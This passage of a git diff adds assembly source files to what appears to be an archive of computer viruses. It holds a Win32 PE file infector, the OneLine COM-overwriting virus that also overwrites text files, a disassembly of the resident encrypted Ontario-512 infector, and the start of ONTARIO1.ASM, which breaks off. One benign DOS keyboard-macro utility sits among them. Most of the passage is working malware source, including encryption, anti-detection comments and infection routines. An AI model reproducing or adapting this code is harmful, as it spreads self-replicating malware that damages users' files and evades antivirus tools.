file pointer to object table in file. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits of move. + xor eax, eax + mov ax, [ebp+NT_HDR_Size] ;NT header size. + add eax, [ebp+DataFromFile] ;Plus offset to PE header. + add eax, 18h ;AFTER flags field in header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in object table. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 240d ;# of bytes to read. + lea eax, [ebp+ObjectTable] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Do some checks. + mov eax, [ebp+FileBytesRead] ;# of bytes read. + cmp eax, 240d ;Did we read enough? + jne RIPH_Failed ;Nope. + + ;Save Original entry point. + mov eax, [ebp+ImageBase] ;Files base address + add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA. + mov [ebp+OldEA], eax ;Save it. + + ;** Figure out sizes for object and size of file ** + + ;Get offset to DATA of the object we will infect. + xor eax, eax + mov ax, [ebp+NumbOfObjects] ;Number of objects. + dec eax ;We want last object. + mov ecx, 40 ;Each object 40 bytes + xor edx, edx + mul ecx ;#OfObj-1*40=last object. + lea esi, [ebp+ObjectTable] ;ESI -> object table. + add esi, eax ;ESI = ptr to last Object Entry. + + ;Set new physical size for object. + mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment. + mov eax, [esi+16d] ;Get physical size of object. + mov [ebp+OldPhysSize], eax ;Save it. + push eax ;Save for figuring new entry point. + add eax, v_size ;Size of virus. + call AlignFix ;Figure new size. + mov dword ptr [esi+16d], eax ;Set new physical size. + + ;Set new virtual size for object. + mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment. + push ecx ;Save for below. + mov eax, [esi+8] ;Get object virtual size. + add eax, v_size ;Add our virtual size. + call AlignFix ;Set on obj alignment. + mov dword ptr [esi+8], eax ;Set new virtual size. + + mov [esi+36d], 0C0000040h ; set object flags + + ;Set new image size. + pop ecx ;ECX = object alignment vlaue. + mov eax, v_size ;EAX = size of virus. + add eax, dword ptr [ebp+ImageSize] ;add to old image size + call AlignFix ;Figure new size. + mov [ebp+ImageSize], eax ;Set new ImageSize. + + ;Set new entrypoint. + pop eax ;EAX = physical size of infected object. + add eax, [esi+12d] ;Add objects RVA. + mov [ebp+EntryPointRVA], eax ;Set new entrypoint. + + ;** Figure new physical size for mapping. ** + + ;Get files size. + push 0 + push dword ptr [ebp+OpenFileHandle] ;Handle of file. + call [ebp+lpfGetFileSize] ;Get the files size in bytes. + mov [ebp+SizeOfHost], eax ;Save size. + mov [ebp+Reserved9], eax ;Mark as infected. + + ;Figure new size. + mov ebx, [esi+16d] ;Object physical size. + add ebx, [esi+20d] ;Add physical offset of object. + cmp ebx, eax ;Which is larger? + ja RIPH_NewSize ;File size should be larger. + + jmp RIPH_Done ;Return success. + +RIPH_NewSize: + mov ecx, [ebp+FileAlign] ;File align value + mov eax, ebx ;Size now. + call AlignFix ;Figure new size. + mov [ebp+SizeOfHost], eax ;Save new size. + jmp RIPH_Done + +RIPH_Failed: + xor ebx, ebx ;Mark failure. + +RIPH_Done: + call CloseFile ;Close the file. + call RestoreAttribs ;Restore its attributes. + ret +ReadInPEHeader ENDP + +;**** SetNOAttribs **** +;This function first saves a files attributes to OrigFileAttribs, +;then sets the files attributes to "normal" so that the file can +;be written to. On errors, the carry flag is set. + +SetNOAttribs PROC + ;Get the files attributes. + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push found files name. + call [ebp+lpfGetFileAttributesA] + mov [ebp+OrigFileAttribs], eax ;Save original file attribs. + + ;Set file attributes to none so we can write to it if needed. + mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs + push eax + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push files name to stack. + call [ebp+lpfSetFileAttributesA] ;Set the attributes. + ret +SetNOAttribs ENDP + +;**** MapFile **** +;This proc gets a files(file in FileFoundData) size, creates a mapped +;object of the size needed, then maps the file into the object created. +;Carry flag is set on errors. + +MapFile PROC + + ;Create File mapping object. + push 0 ;Dont need a name. + mov eax, [ebp+SizeOfHost] ;Size of object. + push eax + push 0 ;Not used. + push PAGE_READWRITE ;We need read+write access. + push 0 ;Default security. + push dword ptr [ebp+OpenFileHandle] ;OPEN file handle. + call [ebp+lpfCreateFileMappingA] ;Create the mapped object. + cmp eax, 0 ;Did we fail? + je OF_Failed ;Yep. + mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object. + + ;Map file into object. + push 0 ;Map WHOLE file. + ;Offsets are not needed cause we're gonna start mapping at the + ;beginning of the file. + push 0 ;Low order 32 bits of offset. + push 0 ;High order 32 bits of offset. + push FILE_MAP_WRITE ;We need Read+Write access. + push eax ;Handle of mapping object. + call [ebp+lpfMapViewOfFile] ;Map the file +;Dont ask me why, but this returns some fucked up handle +;to memory that doesnt appear to exist, and the file doesnt +;seem to be read into memory until this memory is actually +;accessed(which magically does NOT cause a page fault)! +;weird! (I could be wrong, maybe just my debugger...) + mov [ebp+MapBaseAddr], eax ;Save base Address. + cmp eax, 0 ;Did we fail? + jne MP_Success ;We succeeded + stc +MP_Success: + ret +MapFile ENDP + +;**** RestoreAttribs **** +;This proc restores the attributes of the file pointed to by +;FoundFileData. CarryFlag is NOT set on errors. + +RestoreAttribs PROC + ;Restore file attributes. + mov eax, [ebp+OrigFileAttribs] ;The files original attribs + push eax + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push found files name. + call [ebp+lpfSetFileAttributesA] ;Set the attributes. + ret +RestoreAttribs ENDP + +;**** OpenFile **** +;This proc just opens the file pointed to in FoundFileData. +;If successful, the OPEN files handle is put into OpenFileHandle. +;If errors happen, the carry flag is set. + +OpenFile PROC + ;Open the file. + push 0 + push FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push 0 + push 0 ;0=Request exclusive access + push GENERIC_READ + GENERIC_WRITE + lea eax, [ebp+FoundFileData.WFD_szFileName] + push eax ;Push files name on stack. + call [ebp+lpfCreateFileA] ;Open file. + cmp eax, 0FFFFFFFFh ;Did we fail? + je OF_Failed ;Jeah, we failed. (SETS CARRY) + mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file. + clc ;Clear carry flag (no errors) + ret +OF_Failed: + stc ;Set carry flag. + ret +OpenFile ENDP + +;**** CloseFile **** +;This proc just closes the file pointed to by OpenFileHandle. +;Carry flag is NOT set if errors occur.(what for?) + +CloseFile PROC + ;Close the file. + push dword ptr [ebp+OpenFileHandle] ;Handle of opened file. + call [ebp+lpfCloseHandle] ;Close it + ret +CloseFile ENDP + +;**** AlignFix **** + +AlignFix PROC + xor edx, edx + div ecx ;/alignment + inc eax ;next alignment + mul ecx ;*alignment + ret +AlignFix ENDP + +;**** ExtractAbsoluteAddress **** + +ExtractAbsoluteAddress PROC + pushad ;Save everything. + + mov ecx, [esi] ;Get string length. + add esi, 4 ;Point to string + rep cmpsb ;Check the string. + + popad ;Restore everything. + jne EAA_NotString ;This isn't the string - exit. + + xchg esi, eax ;ESI = dword for address. + + mov eax, [ebx+1Ch] ;RVA of Function Address array. + add eax, [ebp+UnnamedOffset] ;Plus unused function names. + add eax, [ebp+K32Base] ;Plus DLL load address. + add eax, ecx ;Plus array offset. + mov eax, [eax] ;Get the address. + add eax, [ebp+K32Base] ;Plus DLL load address. + + mov [esi], eax ;Save the address. + +EAA_NotString: + ret +ExtractAbsoluteAddress ENDP + +;**** MyGetProcAddress **** + +MyGetProcAddress PROC + push eax ;lpProcName. + mov eax, [ebp+ModHandle] ;< hModule. + push eax ;< + call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly. + + cmp eax, 0 ;EAX = 0? + jne MyGetProcDone ;Nope, success. + + stc ;Failure. + +MyGetProcDone: + ret +MyGetProcAddress ENDP + + +; ****** DATA ****** + +K32Base dd 0 ;Start of K32 in memory. +UnnamedOffset dd 0 +ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr. +lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress. + db "GetProcAddress",0 +FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files. +lpsExeFiles db '*.exe',0 +OldEA dd 0 ;Original Entry Point(NOT RVA) +OldPhysSize dd 0 ;Old physical size of last object. +FoundFileHandle dd 0 ;Spot for handle of found files. +OpenFileHandle dd 0 ;Spot for handle of open files. +MappedObjectHandle dd 0 ;Handle of mapped object. +OrigFileAttribs dd 0 ;Spot for file attributes. +DataFromFile dd 0 ;Data read from file. +FileBytesRead dd 0 ;Number of bytes read. +MapBaseAddr dd 0 ;Base address of mapped object. +SizeOfHost dd 0 ;Size needed for mapped object. + +PE_Header: ;Buffer for PE header. +Sig_Bytes: dd 0 +CPU_Type: dw 0 +NumbOfObjects dw 0 +TimeStamp dd 0 +Reserved1 dd 0 +Reserved2 dd 0 +NT_HDR_Size dw 0 +Flags dw 0 +Reserved3 dw 0 +LMajor db 0 +LMinor db 0 +Reserved4 dd 0 +Reserved5 dd 0 +Reserved6 dd 0 +EntryPointRVA dd 0 +Reserved7 dd 0 +Reserved8 dd 0 +ImageBase dd 0 +ObjectAlign dd 0 +FileAlign dd 0 +OS_Major dw 0 +OS_Minor dw 0 +UserMajor dw 0 +UserMinor dw 0 +SubSysMajor dw 0 +SubSysMinor dw 0 +Reserved9 dd 0 +ImageSize dd 0 ;54h bytes. + +ObjectTable: db 240d dup (0) ;Room for 6 object entries. + +ImportTable: ; :-) + db 'FindFirstFileA',0 +lpfFindFirstFileA dd 0 + db 'FindNextFileA',0 +lpfFindNextFileA dd 0 + db 'GetFileAttributesA',0 +lpfGetFileAttributesA dd 0 + db 'SetFileAttributesA',0 +lpfSetFileAttributesA dd 0 + db 'CreateFileA',0 +lpfCreateFileA dd 0 + db 'SetFilePointer',0 +lpfSetFilePointer dd 0 + db 'ReadFile',0 +lpfReadFile dd 0 + db 'GetFileSize',0 +lpfGetFileSize dd 0 + db 'CreateFileMappingA',0 +lpfCreateFileMappingA dd 0 + db 'MapViewOfFile',0 +lpfMapViewOfFile dd 0 + db 'UnmapViewOfFile',0 +lpfUnmapViewOfFile dd 0 + db 'CloseHandle',0 +lpfCloseHandle dd 0 + +lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-' + +v_end: + end v_start \ No newline at end of file diff --git a/o/ONEKEY.ASM b/o/ONEKEY.ASM new file mode 100755 index 0000000..59177df --- /dev/null +++ b/o/ONEKEY.ASM @@ -0,0 +1,202 @@ +VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts + ORG 9H*4 ;The keyboard Interrupt +KEYBOARD_INT_VECTOR LABEL DWORD + ORG 1CH*4 ;Timer Interrupt +TIMER_VECTOR LABEL DWORD +VECTORS ENDS + +ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory + ORG 1AH ;This is where the keyboard buffer is. +ROM_BUFFER_HEAD DW ? ;The position of the buffer's head +ROM_BUFFER_TAIL DW ? ;And tail. +KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself +KB_BUFFER_END LABEL WORD ;Buffer's end is stored here. +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT ;Begin the Code segment holding the programs + ASSUME CS:CODE_SEG + ORG 100H ;Com files start at ORG 100H +BEGIN: JMP INIT_VECTORS ;Skip over data area + +COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature +KEYS DW 30 DUP(0) ;The keys we replace +FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer +COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands +COMMAND_INDEX DW 1 ;Stores position in command (for timer) +ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals +ROM_TIMER DD 1 ;The Timer interrupt's address + +INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is. + ASSUME DS:NOTHING ;Free DS + PUSH DS ;Save all used registers + PUSH SI + PUSH DI + PUSH DX + PUSH CX + PUSH BX + PUSH AX + PUSHF ;Pushf for Keyboard Int's IRET + CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer + ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer. + MOV AX,ROM_BIOS_DATA + MOV DS,AX + + MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals + CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed. + JNE NEWCHAR + JMP NO_NEW_CHARACTERS ;Jump out, no new characters. +NEWCHAR:SUB BX,2 ;Move back two bytes from tail; + CMP BX,OFFSET KB_BUFFER ;Do we have to wrap? + JAE NO_WRAP ;No + MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes + SUB BX,2 ; before buffer end. +NO_WRAP:MOV AX,[BX] ;Get the character into AX + + CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command? + JE FIN ;Yes, proceed + JMP NO_NEW_CHARACTERS ;No, leave. + +FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish + + LEA SI,KEYS ;Point source index at keys to replace + MOV CX,30 ;Loop over all of them +LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)? + JE FOUND ;Yes, key found, continue on. + ADD SI,2 ;Point to next key to check it. + LOOP LOOPER ;Go back for next one. + JMP NO_NEW_CHARACTERS ;Loop finished without match - leave. + +FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts + LEA SI,COMMANDS ;Set up to read command + NEG CX ;Find the location of first word of command + ADD CX,30 + MOV AX,CX + MOV CX,102 + MUL CL + ADD SI,AX + MOV COMMAND_INDEX,SI ;And move it into Command_Index + +STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer. + ADD SI,2 ;Point to the command's next character + CMP AX,0 ;Is it a zero? (End of command) + JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1 + MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET KB_BUFFER_END ;Are we past the end? + JL NO_WRAP2 ;No, don't wrap + MOV DX,OFFSET KB_BUFFER ;Wrap +NO_WRAP2: + CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done? + JE BUFFER_FULL ;Time to leave, set Finished_Flag=0. + ADD COMMAND_INDEX,2 ;Move to next word in command + MOV [BX],AX ;Put it into the buffer right here. + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET KB_BUFFER_END ;Wrap here? + JL NO_WRAP3 ;No, readjust buffer tail + MOV BX,OFFSET KB_BUFFER ;Yes, wrap +NO_WRAP3: + MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail + JMP STUFF ;Back to stuff in another character. +BUFFER_FULL: ;If buffer is full, let timer take over + MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0. +NO_NEW_CHARACTERS: + POP AX ;Restore everything before departure. + POP BX + POP CX + POP DX + POP DI + POP SI + POP DS + STI + IRET ;An interrupt deserves an IRET +INTERCEPT_KEYBOARD_INT ENDP + ASSUME DS:CODE_SEG +INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer + PUSHF ;Store used flags + PUSH DS ;Save DS since we'll change it + PUSH CS ;Put current value of CS into DS + POP DS + CALL ROM_TIMER ;Make obligatory call + PUSHF + CMP FINISHED_FLAG,1 ;Do we have to do anything? + JE OUT ;No, leave + CLI ;Yes, start by clearing interrupts + PUSH DS ;Save these. + PUSH SI + PUSH DX + PUSH BX + PUSH AX + ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again. + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail + MOV FINISHED_FLAG,1 ;Assume we'll finish + MOV SI,COMMAND_INDEX ;Find where we left ourselves + +STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above. + ADD SI,2 ;Point to next command character. + CMP AX,0 ;Is it zero? (end of command) + JNE OVER ;No, continue. + JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1 +OVER: MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET KB_BUFFER_END ;Are we past the end? + JL NO_WRAP4 ;No, don't wrap + MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap. +NO_WRAP4: + CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done? + JE BUFFER_FULL2 ;Time to leave, come back later. + ADD COMMAND_INDEX,2 ;Point to next word of command. + MOV [BX],AX ;Put into buffer + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET KB_BUFFER_END ;Wrap here? + JL NO_WRAP5 ;No, readjust buffer tail + MOV BX,OFFSET KB_BUFFER ;Yes, wrap +NO_WRAP5: + MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail + JMP STUFF2 ;Back to stuff in another character +BUFFER_FULL2: + MOV FINISHED_FLAG,0 ;Set flag to not-done-yet. +NO_NEW_CHARACTERS2: + POP AX ;Restore these. + POP BX + POP DX + POP SI + POP DS +OUT: POPF ;And Exit. + POP DS + IRET ;With customary IRET +INTERCEPT_TIMER ENDP + +INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here + ASSUME DS:VECTORS + PUSH DS + MOV AX,VECTORS + MOV DS,AX + CLI ;Don't allow interrupts + MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address + MOV ROM_KEYBOARD_INT,AX + MOV AX,KEYBOARD_INT_VECTOR[2] + MOV ROM_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT + MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place. + MOV AX,TIMER_VECTOR ;Now same for timer + MOV ROM_TIMER,AX + MOV AX,TIMER_VECTOR[2] + MOV ROM_TIMER[2],AX + + MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER + MOV TIMER_VECTOR[2],CS ;And intercept that too. + STI + ASSUME DS:ROM_BIOS_DATA + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer. + MOV ROM_BUFFER_HEAD,BX + MOV ROM_BUFFER_TAIL,BX + MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory + INT 27H ;And do so. +INIT_VECTORS ENDP +CODE_SEG ENDS + END BEGIN ;End Begin so that we jump there first. diff --git a/o/ONELINE.ASM b/o/ONELINE.ASM new file mode 100755 index 0000000..87e274e --- /dev/null +++ b/o/ONELINE.ASM @@ -0,0 +1,134 @@ + +; ------------------------------------------------------------ +; -- The OneLine Virus -- +; -- By Arsonic[CodeBreakers] -- +; -- HTTP://CODEBREAKERS.SIMPLENET.COM -- +; ------------------------------------------------------------ + + +; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of +; shit. it will infect all *.com file in the current directory and overwrite +; the first line of all text files found with Famous Lines And Stuff.. + +; Detected By: + +; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :) +; FPROT: ??? did'n have it on my computer at the time of scanning.. +; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one.. + +jmp crypt_start + +start: +mov di,si +mov cx,crypt_start +call crypt +jmp crypt_start + +crypt: +xorloop: +lodsb +xor al,byte ptr[xor_value] +stosb +loop xorloop +ret + +xor_value db 0 + +crypt_start: + +mov ah,4eh +lea dx,mask +int 21h +jnc infect +jmp text + +infect: +mov ax,3d02h +mov dx,9eh +int 21h +mov bx,ax + +; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision + +in al,40h +mov byte ptr [xor_value],al + +lea si,crypt_start +lea di,end +mov cx,end - crypt_start +call crypt + +mov ah,40h +mov cx,crypt_start - start +lea dx,start +int 21h + +mov ah,40h +mov cx,end - crypt_start +lea dx,end +int 21h + +mov ah,3eh +int 21h +jmp find_next + +find_next: +mov ah,3fh +int 21h +jnc infect +jmp text + +text: +mov ah,4eh +lea dx,textmask +int 21h +jnc text_payload +jmp close + +text_payload: +mov ax,3d02h +mov dx,9eh +int 21h + +mov ah,40h +mov cx,message_end - message_start +lea dx,message_start +int 21h + +mov ah,3fh +int 21h +jmp text_findnext + +text_findnext: +mov ah,4fh +int 21h +jnc text_payload +jmp close + +message_start: +db 'LEGALIZE CANNABUS!' +db 'HO HO HO.. NOW I HAVE A MACHINE GUN!' +db 'This is another 60 minutes...' +db 'Burn Baby, BURN!' +db 'Keep The Opressor Opressing..' +db 'Have U Had Your Break TodaY?' +db 'Oh I Wish I Was A Ocsar Myer Wiener!' +db 'What Came First The Chicken Or the Egg?' +db 'Help Me.. Help You!' +db 'SHOW ME THE MONEY!!' +db 'Take it Off Baby!' +db 'ADRIAN!!!!' +db 'Where do You Want To Go Today?' +db 'We Are the Shitty VR! VRLAND SUX SHIT!' +db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!' +message_end: + +close: +int 20h + +mask db '*.com',0 +textmask db '*.txt',0 +author db ' ARSONIC [CODEBREaKERS]',13,10,'$' +virus db 'THE OnELINE VIRUS',13,10,'$' +origin db 'PROUDLY MADE IN CANADA..',13,10,'$' +end: diff --git a/o/ONTAR512.ASM b/o/ONTAR512.ASM new file mode 100755 index 0000000..6a31570 --- /dev/null +++ b/o/ONTAR512.ASM @@ -0,0 +1,296 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;-* Ontario-512 Virus *- +;*- ~~~~~~~~~~~~~~~~~~~ -* +;-* Disassmembly by: Rock Steady/NuKE *- +;*- ~~~~~~~~~~~~~~~~ -* +;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *- +;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -* +;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *- +;*- -* +;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *- +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus segment byte public + assume cs:virus, ds:virus + + org 100h ;Guess its a COM File huh? +ont proc far + +start: + jmp go4it ;Jump to beginning of the + db 1Dh ;Virus And start! + db 'fected [NuKE]''92', 0Dh, 0Ah, '$' + mov dx,0102h ;This is the small File the Virus + mov ah,09h ;is infected to! As you see it only + int 21h ;displays that messages and exits + int 20h ;Exit Command for COMs +go4it: + nop + call decrypt ;Get Decryption value & Decrypt viri + call virus_start ;Start the Virus! +ont endp + +;---------------------------------------------------------------------; +; The Start of the Virus Code ; +;---------------------------------------------------------------------; + +virus_start proc near + pop bp + sub bp,7 + mov ax,0FFFFh ;Is Virus in Memory hooked on? + int 21h ;the Int 21h? + or ah,ah ; + jz bye_bye ;Yes it is... Quit then... + push ds + xor ax,ax + mov ds,ax + sub word ptr ds:413h,2 + lds bx,dword ptr ds:84h + mov word ptr cs:[200h][bp],bx + mov word ptr cs:[202h][bp],ds + mov bx,es + dec bx + mov ds,bx + sub word ptr ds:3,80h + mov ax,ds:12h + sub ax,80h + mov ds:12h,ax + mov es,ax + push cs + pop ds + mov si,bp + xor di,di + mov cx,204h + cld + rep movsb + mov ds,cx + cli ;This is where we hook the + mov word ptr ds:84h,7Fh ;virus to the Int21h + mov word ptr ds:84h+2,ax + sti + mov ax,4BFFh + int 21h + pop ds + push ds + pop es +bye_bye: + or bp,bp + jz what + lea si,[bp+7Bh] + nop + mov di,offset ds:[100h] + push di + cld + movsw + movsw + retn +what: + mov ax,es + add cs:7dh,ax +;* jmp far ptr go4it7 +virus_start endp + db 0EAh,0EBh, 15h, 49h, 6Eh + cmp ax,0FFFFh + jne new_21h + inc ax + iret +;---------------------------------------------------------------------; +; Interrupt 21h handler ; +;---------------------------------------------------------------------; +new_21h: + cmp ah,4Bh ;Test, is File beginning Executed! + jne leave_ok ;Nope! Call Int21! + cmp al,3 ;Overlay, beginning execute? + je leave_ok ;Yes! Leave it alone + cmp al,0FFh ;Virus testing to see if its alive? + jne do_it_man ;in memory? + push cs + pop ds + mov dx,1DDh + call infect + iret +do_it_man: + call infect ;Infect file dude... +leave_ok: + jmp dword ptr cs:[200h] ;Int21 handler.. + +;---------------------------------------------------------------------; +; Infection Routine for the Ontario Virus ; +;---------------------------------------------------------------------; + +infect proc near + push es + push ds ;Save them not to fuck things up.. + push dx + push cx + push bx + push ax + mov ax,4300h ;Here we get the file attribute + call int21 ;for file to be infected. + jc outta ;Bitch Error encountered. Quit! + test cl,1 ;Test if its Read-Only! + jz attrib_ok ;Ok, it ain't Read-Only Continue! + and cl,0FEh ;Set Read-Only to normal Attribs + mov ax,4301h ;Call Ints to do it... + call int21 ;Bingo! Done! + jc outta ;Error encountered? Split if yes! +attrib_ok: + mov ax,3D02h ;Open file for Read/Write + call int21 ;Call Interrupt to do it! + jnc open_ok ;no errors? Continue! +outta: + jmp go4it5 ;Hey, Split Man... Errors happened! +open_ok: + mov bx,ax ;BX=File Handle + push cs + pop ds + mov ax,5700h ;Get File's Date & Time + call int21 ;Do it! + mov word ptr ds:[204h],cx ;Save Time + mov word ptr ds:[206h],dx ;Save Date + mov dx,208h ;DX=Pointer + mov cx,1Bh ;CX=Number of Btyes + mov ah,3Fh ;Read From File + call int21 ;Do It! + jc go4it1 ;Errors? Quit if yes! + cmp word ptr ds:[208h],5A4Dh ;Check if files already + je go4it0 ;infected. + mov al,byte ptr ds:[209h] ;Com , Exes... + cmp al,byte ptr ds:[20Bh] + je go4it1 + xor dx,dx + xor cx,cx + mov ax,4202h + call int21 ;Move File pointer to end of + jc go4it1 ;file to be infected. + cmp ax,0E000h ;File bigger than E000 bytes? + ja go4it1 ;Error... + push ax ;Save File Length + mov ax,word ptr ds:[208h] + mov ds:7bh,ax + mov ax,word ptr ds:[20Ah] + mov ds:7dh,ax + pop ax ;All this is, is a complex + sub ax,3 ;way to do "JMP" + mov byte ptr ds:[208h],0E9h ; + mov word ptr ds:[209h],ax + mov byte ptr ds:[20Bh],al + jmp short go4it3 ;File READY Infect it! + db 90h ;NOP me... detection string? +go4it0: + cmp word ptr ds:[21Ch],1 + jne go4it2 +go4it1: + jmp go4it4 +go4it2: + mov ax,word ptr ds:[20Ch] + mov cx,200h + mul cx + push ax + push dx + mov cl,4 + ror dx,cl + shr ax,cl + add ax,dx + sub ax,word ptr ds:[210h] + push ax + mov ax,word ptr ds:[21Ch] + mov ds:7bh,ax + mov ax,word ptr ds:[21Eh] + add ax,10h + mov ds:7dh,ax + pop ax ; This is continues with the + mov word ptr ds:[21Eh],ax ; above to put a JMP at the + mov word ptr ds:[21Ch],1 ; beginning of the file! + inc word ptr ds:[20Ch] ; + pop cx ; + pop dx ; + mov ax,4200h ; + call int21 + jc go4it4 +go4it3: + xor byte ptr ds:[1F8h],8 ; + xor ax,ax ; Theses Lines copy the + mov ds,ax ; virus code else where + mov al,ds:46Ch ; in memory to get it + push cs ; ready to infect the file + pop ds ; as we must encrypt it + push cs ; FIRST when we infect the + pop es ; file. so we'll encrypt + mov byte ptr ds:[1ECh],al ; this copy we're making! + xor si,si ; and append that to the + mov di,offset ds:[224h] ; end of the file + push di ; + mov cx,200h ; + cld ; + rep movsb + mov si,offset ds:[228h] ;Now Encrpyt that copy of the + call encrypt_decrypt ;virus we just made... + pop dx + mov cx,200h ;Write Virus to file! + mov ah,40h ;BX=Handle, CX=Bytes + call int21 ;DX=pointer to write buffer + jc go4it4 ;Duh? Check for errors! + xor cx,cx + xor dx,dx ;Now move pointer to beginning + mov ax,4200h ;of file. + call int21 + jc go4it4 ;Duh? Check for errors! + mov dx,208h ;Write to file! + mov cx,1Bh ;CX=Bytes + mov ah,40h ;DX=pointes to buffer + call int21 ;Bah, HumBug +go4it4: + mov dx,word ptr ds:[206h] ;Leave no tracks... + mov cx,word ptr ds:[204h] ; puts back File TIME + mov ax,5701h ; and DATE! on file... + call int21 ; + mov ah,3Eh ; + call int21 ;Bah, HumBug... +go4it5: + pop ax ;Get lost... + pop bx + pop cx + pop dx + pop ds + pop es + retn +infect endp + +;----------------------------------------------------------------------; +; The Original Interrupt 21h handler ; +;----------------------------------------------------------------------; + +int21 proc near + pushf ;Fake an Int Call... + + call dword ptr cs:[200h] ;Orignal Int21h Handler + retn +int21 endp + + db 'C:\COMMAND.COM' + db 00h, 84h + +;---------------------------------------------------------------------; +; The Simple, But VERY Effective Encryption Routine ; +;---------------------------------------------------------------------; + +decrypt proc near + pop si + push si + mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE! +encrypt_decrypt: ;and Virus will be UNDETECTABLE + mov cx,1E8h ; LENGTH OF VIRII! Change this! +loop_me: not al ; if you modief the virus! + xor cs:[si],al ; + inc si ; + loop loop_me ; + ; + retn +decrypt endp + + +virus ends + end start + +;------------------------------------------------------------------------ + diff --git a/o/ONTARIO1.ASM b/o/ONTARIO1.ASM new file mode 100755 index 0000000..1f7652f --- /dev/null +++ b/o/ONTARIO1.ASM @@ -0,0 +1,355 @@ + +comment * + + Older version of Bad Bug, also known as Ontario virus. + --> Written by Death Angel <-- + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + This virus first puts itself in memory, if not already. Infects the + C:\COMMAND.COM file, then infects other files as they are loaded. + It appends itself onto COM and EXE files. + + Identification method: + ====================== + Checking if already in memory - INT 21/AH=FF, returns AX=0 + Checking if COM is infected - 4th byte in file "V" + Checking if EXE is infected - Instruction Pointer is at 1 + + * + +LOC_21 EQU 21H*4 +REAL_SIZE equ offset EOF + +CODE SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:CODE, DS:CODE + ORG 0h + +VBUG PROC FAR + nop + call MASTER_UNCODE +VB01: + call VB00 